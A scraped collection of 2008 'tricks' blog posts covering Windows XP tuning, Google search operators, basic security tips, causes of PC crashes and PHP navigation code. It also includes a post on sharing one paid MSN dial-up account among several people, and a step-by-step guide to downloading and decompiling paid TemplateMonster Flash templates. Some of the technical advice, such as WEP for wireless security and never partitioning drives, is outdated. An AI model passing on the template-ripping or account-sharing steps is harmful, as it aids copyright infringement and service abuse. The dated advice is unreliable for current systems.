17.) Make sure the customer has fewer than 500 type fonts installed on their computer. The more fonts they have, the slower the system will become. While Windows XP handles fonts much more efficiently than did the previous versions of Windows, too many fonts -- that is, anything over 500 -- will noticeably tax the system.

18.) Do not partition the hard drive. Windows XP's NTFS file system runs more efficiently on one large partition. The data is no safer on a separate partition, and a reformat is never necessary to reinstall an operating system. The same excuses people offer for using partitions apply to using a folder instead. For example, instead of putting all your data on the D: drive, put it in a folder called "D drive." You'll achieve the same organizational benefits that a separate partition offers, but without the degradation in system performance. Also, your free space won't be limited by the size of the partition; instead, it will be limited by the size of the entire hard drive. This means you won't need to resize any partitions, ever. That task can be time-consuming and also can result in lost data.

19.) Check the system's RAM to ensure it is operating properly. I recommend using a free program called MemTest86. The download will make a bootable CD or diskette (your choice), which will run 10 extensive tests on the PC's memory automatically after you boot to the disk you created. Allow all tests to run until at least three passes of the 10 tests are completed. If the program encounters any errors, turn off and unplug the computer, remove a stick of memory (assuming you have more than one), and run the test again. Remember, bad memory cannot be repaired, but only replaced.

20.) If the PC has a CD or DVD recorder, check the drive manufacturer's Web site for updated firmware. In some cases you'll be able to upgrade the recorder to a faster speed. Best of all, it's free.

21.) Disable unnecessary services. Windows XP loads a lot of services that your customer most likely does not need. To determine which services you can disable for your client, visit the Black Viper site for Windows XP configurations.

22.) If you're sick of a single Windows Explorer window crashing and then taking the rest of your OS down with it, then follow this tip: open My Computer, click on Tools, then Folder Options. Now click on the View tab. Scroll down to "Launch folder windows in a separate process," and enable this option. You'll have to reboot your machine for this option to take effect.

23.) At least once a year, open the computer's cases and blow out all the dust and debris. While you're in there, check that all the fans are turning properly. Also inspect the motherboard capacitors for bulging or leaks. For more information on this leaking-capacitor phenomena, you can read numerous articles on my site.

Following any of these suggestions should result in noticeable improvements to the performance and reliability of your customers' computers. If you still want to defrag a disk, remember that the main benefit will be to make your data more retrievable in the event of a crashed drive.

A Trick by : WWW.infintytricks.blogspot.com

20 Great Google Secrets

2008-01-14T04:44:00.000-08:00

20 Great Google Secrets

http://www.pcmag.com/article2/0,4149,1306756,00.asp

excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif

Google is clearly the best general-purpose search engine on the Web (see

www.pcmag.com/searchengines

But most people don't use it to its best advantage. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google's index, it's still a struggle to pare results to a manageable number.

But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Google's search options go beyond simple keywords, the Web, and even its own programmers. Let's look at some of Google's lesser-known options.

Syntax Search Tricks

Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages. Google has a fairly complete list of its syntax elements at

www.google.com/help/operators.html

. Here are some advanced operators that can help narrow down your search results.

Intitle: at the beginning of a query word or phrase (intitle:"Three Blind Mice") restricts your search results to just the titles of Web pages.

Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you're searching for might commonly appear in URLs. If you're looking for the term HTML, for example, and you don't want to get results such as

www.mysite.com/index.html

, you can enter intext:html.

Link: lets you see which pages are linking to your Web page or to another page you're interested in. For example, try typing in

link:http://www.pcmag.com

Try using site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:"Mark Twain"site:edu. Experiment with mixing various elements; you'll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.

Swiss Army Google

Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature

(www.google.com/help/features.html#calculator)

lets you do both math and a variety of conversions from the search box. For extra fun, try the query "Answer to life the universe and everything."

Let Google help you figure out whether you've got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try "thre blund mise") and Google may suggest a proper spelling. This doesn't always succeed; it works best when the word you're searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you're searching for "three blind mice," underneath the search window will appear a statement such as Searched the web for "three blind mice.") You'll discover that you can click on each word in your search phrase and get a definition from a dictionary.

Suppose you want to contact someone and don't have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you'll see it at the top of the search results along with a map link to the address. If you'd rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you'd rather use a search form for business phone listings, try Yellow Search

(www.buzztoolbox.com/google/yellowsearch.shtml).

Extended Googling

Google offers several services that give you a head start in focusing your search. Google Groups

(http://groups.google.com)

indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: Froogle
CODE
(http://froogle.google.com),

which indexes products from online stores, and Google Catalogs
CODE
(http://catalogs.google.com),

which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google's tools and services at

www.google.com/options/index.html

You're probably used to using Google in your browser. But have you ever thought of using Google outside your browser?

Google Alert

(www.googlealert.com)

monitors your search terms and e-mails you information about new additions to Google's Web index. (Google Alert is not affiliated with Google; it uses Google's Web services API to perform its searches.) If you're more interested in news stories than general Web content, check out the beta version of Google News Alerts

(www.google.com/newsalerts).

This service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.)

Google on the telephone? Yup. This service is brought to you by the folks at Google Labs

(http://labs.google.com),

a place for experimental Google ideas and features (which may come and go, so what's there at this writing might not be there when you decide to check it out). With Google Voice Search

(http://labs1.google.com/gvs.html),

you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don't expect 100 percent success.

In 2002, Google released the Google API (application programming interface), a way for programmers to access Google's search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you'll need an API key, which is available free from
CODE
www.google.com/apis

. See the figures for two more examples, and visit

www.pcmag.com/solutions

for more.

Thanks to its many different search properties, Google goes far beyond a regular search engine. Give the tricks in this article a try. You'll be amazed at how many different ways Google can improve your Internet searching.

Online Extra: More Google Tips

Here are a few more clever ways to tweak your Google searches.

Search Within a Timeframe

Daterange: (start date–end date). You can restrict your searches to pages that were indexed within a certain time period. Daterange: searches by when Google indexed a page, not when the page itself was created. This operator can help you ensure that results will have fresh content (by using recent dates), or you can use it to avoid a topic's current-news blizzard and concentrate only on older results. Daterange: is actually more useful if you go elsewhere to take advantage of it, because daterange: requires Julian dates, not standard Gregorian dates. You can find converters on the Web (such as

CODE
http://aa.usno.navy.mil/data/docs/JulianDate.html

excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif

), but an easier way is to do a Google daterange: search by filling in a form at

www.researchbuzz.com/toolbox/goofresh.shtml or www.faganfinder.com/engines/google.shtml

. If one special syntax element is good, two must be better, right? Sometimes. Though some operators can't be mixed (you can't use the link: operator with anything else) many can be, quickly narrowing your results to a less overwhelming number.

More Google API Applications

Staggernation.com offers three tools based on the Google API. The Google API Web Search by Host (GAWSH) lists the Web hosts of the results for a given query

(www.staggernation.com/gawsh/).

When you click on the triangle next to each host, you get a list of results for that host. The Google API Relation Browsing Outliner (GARBO) is a little more complicated: You enter a URL and choose whether you want pages that related to the URL or linked to the URL

(www.staggernation.com/garbo/).

Click on the triangle next to an URL to get a list of pages linked or related to that particular URL. CapeMail is an e-mail search application that allows you to send an e-mail to google@capeclear.com with the text of your query in the subject line and get the first ten results for that query back. Maybe it's not something you'd do every day, but if your cell phone does e-mail and doesn't do Web browsing, this is a very handy address to know.

A Trick by : WWW.infintytricks.blogspot.com

10 Fast and Free Security Enhancements

2008-01-14T04:41:00.000-08:00

10 Fast and Free Security Enhancements

Before you spend a dime on security, there are many precautions you can take that will protect you against the most common threats.

1. Check Windows Update and Office Update regularly (_http://office.microsoft.com/productupdates); have your Office CD ready. Windows Me, 2000, and XP users can configure automatic updates. Click on the Automatic Updates tab in the System control panel and choose the appropriate options.

2. Install a personal firewall. Both SyGate (_www.sygate.com) and ZoneAlarm (_www.zonelabs.com) offer free versions.

3. Install a free spyware blocker. Our Editors' Choice ("Spyware," April 22) was SpyBot Search & Destroy (_http://security.kolla.de). SpyBot is also paranoid and ruthless in hunting out tracking cookies.

4. Block pop-up spam messages in Windows NT, 2000, or XP by disabling the Windows Messenger service (this is unrelated to the instant messaging program). Open Control Panel | Administrative Tools | Services and you'll see Messenger. Right-click and go to Properties. Set Start-up Type to Disabled and press the Stop button. Bye-bye, spam pop-ups! Any good firewall will also stop them.

5. Use strong passwords and change them periodically. Passwords should have at least seven characters; use letters and numbers and have at least one symbol. A decent example would be f8izKro@l. This will make it much harder for anyone to gain access to your accounts.

6. If you're using Outlook or Outlook Express, use the current version or one with the Outlook Security Update installed. The update and current versions patch numerous vulnerabilities.

7. Buy antivirus software and keep it up to date. If you're not willing to pay, try Grisoft AVG Free Edition (Grisoft Inc., w*w.grisoft.com). And doublecheck your AV with the free, online-only scanners available at w*w.pandasoftware.com/activescan and _http://housecall.trendmicro.com.

8. If you have a wireless network, turn on the security features: Use MAC filtering, turn off SSID broadcast, and even use WEP with the biggest key you can get. For more, check out our wireless section or see the expanded coverage in Your Unwired World in our next issue.

9. Join a respectable e-mail security list, such as the one found at our own Security Supersite at _http://security.ziffdavis.com, so that you learn about emerging threats quickly and can take proper precautions.

10. Be skeptical of things on the Internet. Don't assume that e-mail "From:" a particular person is actually from that person until you have further reason to believe it's that person. Don't assume that an attachment is what it says it is. Don't give out your password to anyone, even if that person claims to be from "support."

A Trick by : WWW.infintytricks.blogspot.com

10 reasons why PCs crash U must Know

2008-01-14T04:37:00.000-08:00

10 reasons why PCs crash U must Know

Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."

You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?

1 Hardware conflict

The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.

For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.

If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.

Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.

Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.

Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).

When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.

To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

2 Bad Ram

Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.

But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.

One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.

EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

3 BIOS settings

Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.

Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.

A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.

Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).

4 Hard disk drives

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).

Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-ScanDisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5 Fatal OE exceptions and VXD errors

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.

If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.

The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).

Look up your video card's manufacturer on the internet and search for the most recent drivers for it.

6 Viruses

Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs

Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.

An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).

7 Printers

The action of sending a document to print creates a bigger file, often called a postscript file.

Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.

If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.

8 Software

A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.

The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.

Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org

Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.

Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.

Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.

Remember to restore all the BIOS settings back to their former settings following installation.

9 Overheating

Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.

One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com

CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.

10 Power supply problems

With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.

If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.

It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

A Trick by : WWW.infintytricks.blogspot.com

8 People Can Use The Same Msn Dial Up Account

2008-01-14T03:46:00.000-08:00

8 People Can Use The Same Msn Dial Up Account

its easy really. want to have an entire family on dial-up with just one bill?

step one. purchase 20 dollar a month subscription to MSN unlimited access dial up. This will include an MSN 9 cd which you will need. With the software installed, fill up your secondary account slots with new users. Make sure you pick @msn if it gives you the choice, hotmail email addresses will not work..

say the secondary account is johnsmith@msn.com type in the Dial up connection

USER : MSN/johnsmith
PASS: ******* (whatever)

connect to your local msn phone number and the other people you gave secondary accounts to will be able to do the same, while you are connected. Its a sweet deal considering everyone is paying about 2 bucks a month for internet access, especially if you cannot get broadband. if you wanted to sell off the access to people you could actually make money doing this.. but i do not suggest it.

I used to be an msn tech and this was a little known secret even to most of the employees.

After you do this you do not need the software any more. I would suggest keeping it on to micromanage everyone else's accounts. and for the simple fact that if they don't pitch in, cut them off HEHEHE

i'm on broadband now so i dont care if i tell you my little secret. anyone else knew of this?

A Trick by : WWW.infintytricks.blogspot.com

PHP Navigation code

2008-01-14T03:42:00.000-08:00

PHP Navigation code

if($_SERVER['QUERY_STRING'] == "SoD")
print "owns you!";
else
print "don't front!";
?>

Description: Instead of calling files like ( index.php?str=blah ) , you could do ( index.php?SoD ) and it would print out "owns you!". You can add more strings in there, this is just an example.

$vars = explode(",", urldecode(getenv('QUERY_STRING')));
$v1 = array_shift($vars);
$v2 = array_shift($vars);
$v3 = array_shift($vars);

switch ($v1) {
case 'first.1': {
print("This is v1, first string case 'file.php?first.1'.");
break;
}
case 'first.2': {
switch ($v2) {
case 'second': {
switch($v3) {
case 'third': {
print("This is v3, the last case 'file.php?first.2,second,third'.");
break;
}
}
}
}
}
}

Description: This basically does what the 1st one does but with more strings and a different seperator rather than '&'. I don't really want to go into too much detail on the thread so if people are confused or need explaining, reply or PM me.

That's it for the navigation as I am not going to do the other due to they're everywhere else and I wanted to be different and show everyone this method.

Trick by: WWW.Infintytricks.blogspot.com

How to rip Dynamic Flash Template

2008-01-14T03:37:00.000-08:00

How to Rip TM Dynamic Flash Templates

by: Arshdeep

What you need:

Sample dynamic flash template from TM website
Sothink SWF Decompiler
Macromedia Flash
Yourself

1. browse or search your favorite dynamic flash template in TM website. If you got one... click the "view" link and new window will open with dynamic flash.. loading...

2. If the movie fully loaded, click View -> Source in your browser to bring the source code of the current page and in the source code, search for "IFRAME" and you will see the iframe page. In this example were going to try the 7045 dynamic template. get the URL(ex.
http://images.templatemonster.com/screenshots/7000/7045.html) then paste it to your browser... easy eh? wait! dont be to excited... erase the .html and change it to swf then press enter then you'll see the flash movie again icon_smile.gif.

3. copy the URL and download that SWF file.. use your favorite download manager.. mine I used flashget icon_smile.gif NOTE: dont close the browser we may need that later on.

4. open your Sothink SWF decompiler... click "Quick Open" then browse where you download your SWF/movie file. Click Export FLA to export your SWF to FLA, in short, save it as FLA icon_smile.gif

5. Open your Macromedia FLash and open the saved FLA file. press Control+Enter or publish the file... then wallah! the output window will come up with "Error opening URL blah blah blah..." dont panic, that error will help you where to get the remaining files.

6. Copy the first error, example: "7045_main.html" then go back to your browser and replace the 7045.swf to 7045_main.html press enter and you'll see a lot of text... nonsense text icon_lol.gif that text are your contents...

NOTE: when you save the remaining files dont forget to save with underscore sign (_) in the front on the file without the TM item number (e.g. 7045) if it is html save it as "_main.html" and same with the image save it as "_works1.jpg" save them where you save the FLA and SWF files. Continue browsing the file inside Flash application so you can track the remaining files... do the same until you finish downloading all the remaining the files.

A Trick by: WWW.Infintytricks.blogspot.com